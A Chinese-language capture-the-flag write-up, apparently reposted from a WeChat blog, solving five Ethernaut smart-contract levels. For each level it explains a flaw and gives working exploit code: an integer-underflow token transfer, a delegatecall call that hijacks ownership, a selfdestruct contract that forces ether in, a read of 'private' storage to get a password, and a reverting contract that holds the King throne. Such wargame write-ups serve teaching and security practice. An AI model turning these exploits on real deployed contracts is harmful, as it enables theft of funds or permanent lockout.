智能合約:Ethernaut題解(三)


Token


目標:獲取更多的 tokenjavascript


 
  
pragma solidity ^0.4.18;contract Token { mapping(address => uint) balances; uint public totalSupply; function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; }//構造函數,在一開始給合約一些錢  function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0);//先檢查調用者的餘額是否是大於轉帳金額 balances[msg.sender] -= _value;//調用的人減金額_value balances[_to] += _value;//給目標增長金額_value return true; }//轉帳 function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; }//查詢餘額}


一開始是這樣的,初始合約是 20,當咱們轉一個比 20 大的數的時候 20-_value 就會下溢php

uint256 的取值範圍是 [0-2^256-1],因此若是咱們轉 21 的話 20-21 = -1,也就是過了 0 到了 2^256-1css



await contract.transfer('0x3C7f1E9B49B2f7c92e25224199d05D5Cb6923820',30)

隨便找個地址轉帳(我把我地址最後一位改爲了0)完了以後是這樣的,提交就能夠啦java




Delegation


目標:擁有全部權web


 
  
pragma solidity ^0.4.18;contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; }//構造函數 function pwn() public { owner = msg.sender; }//若是能調用這個pwn函數就能夠了}contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress);//把合約給實例化了 owner = msg.sender; } function() public { if(delegate.delegatecall(msg.data)) { this; }//fallback函數,其中的delegatecall跟call的區別在於 //前者所調用的函數在本合約中執行的,其餘的信息都是本身合約的,至關於把函數拷貝到當前合約來執行 }}

咱們要作的就是經過 delegatecall 來調用 pwn 函數,正如註釋中說的那樣,delegatecall 函數須要所用到的信息好比代碼中的 msg.sender 就是這個合約的,因此只要咱們構造一下 msg.data 就可以去調用 pwn 函數微信


當給 call 傳入的第一個參數是 4 字節的時候,call 就會把這個參數做爲要調用的函數,這個參數在以太坊的函數選擇器的生成規則裏是函數簽名的 sha3 的前 4 個字節,接下來咱們要作的就是觸發回退函數,來執行 pwn 函數app


可使用 sendTransaction:函數

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});

slice 爲提取字符串的前10個字符,四個字節,就是 10 個字符(例:0x34567890)ui




Force


目標:讓合約中有錢this


 
  
pragma solidity ^0.4.18;contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m)*/}


什麼代碼都沒有,可是有一種自毀合約的方法 selfdestruct,這種方法會把合約中剩餘的錢強制轉到某一個地址

在 remix 裏面部署一個合約

pragma solidity ^0.4.20;contract exp { function exp() public payable {} function exploit(address _target) public { selfdestruct(_target); }}



調用 exploit 函數,自毀合約,同時把地址填成題目的合約地址



餘額已經不是 0 了



這時候提交就能夠啦



Vault


目標:解鎖 vault


 
  
pragma solidity ^0.4.18;contract Vault { bool public locked; bytes32 private password;//定義了一個密碼 function Vault(bytes32 _password) public { locked = true;//構造函數,locked爲true password = _password;//定義了一個password } function unlock(bytes32 _password) public { if (password == _password) { locked = false;//若是輸入的密碼正確就能夠解鎖 } }}

只要密碼對了就行,咱們不知道它定義的密碼是什麼,並且 password 變量是 private 的,可是在區塊裏面數據是透明的,私有變量標記只能阻止其餘合約訪問它。標記爲私有變量或局部變量的狀態變量,仍然可被公開訪問到


getStorageAt 第一個參數是合約地址,後面是參數的位置,參數的位置是按照聲明的順序來排的,這裏的 locked 是第一個因此是 0,password 是第二個,位置就是 1



web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))})//能夠 alert 的方式將該地址的第 2 個值轉化 ascii 顯示



web3.eth.getStorageAt(contract.address, 1, function(x, y){console.info(web3.toAscii(y))})//也能夠在控制檯直接輸出


提交

await contract.unlock("A very strong secret password :)")

查看一下,已經解鎖了,提交就能夠了




King


目標:成爲 king 而且一直保持 king 的身份


 
  
pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';contract King is Ownable { address public king; uint public prize; function King() public payable { king = msg.sender;//構造函數,king是建立者 prize = msg.value;//prize是建立者發送的金額 } function() external payable { require(msg.value >= prize || msg.sender == owner); //要求發送的金額大於等於king的金額或發送者是合約擁有着 king.transfer(msg.value);//把的轉帳給目前的king king = msg.sender;//king變成msg.sender prize = msg.value;//prize是如今這個king發送的金額數 }}

誰發送大於 king 的金額就能成爲新的 king,可是要先把以前的國王的錢退回去才能更改 king。只要咱們一直不接受退回的獎金,那咱們就可以一直保持 king 的身份


 
  
pragma solidity ^0.4.18;contract attack{ function attack(address _addr) public payable{ _addr.call.gas(10000000).value(msg.value)(); //先給合約一些錢,使得咱們成爲king } function () public { revert(); }}

用 remix 部署合約,只須要構造一個沒有 payable 的回退函數,就接收不到金額了



king 變成了攻擊合約的地址




本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索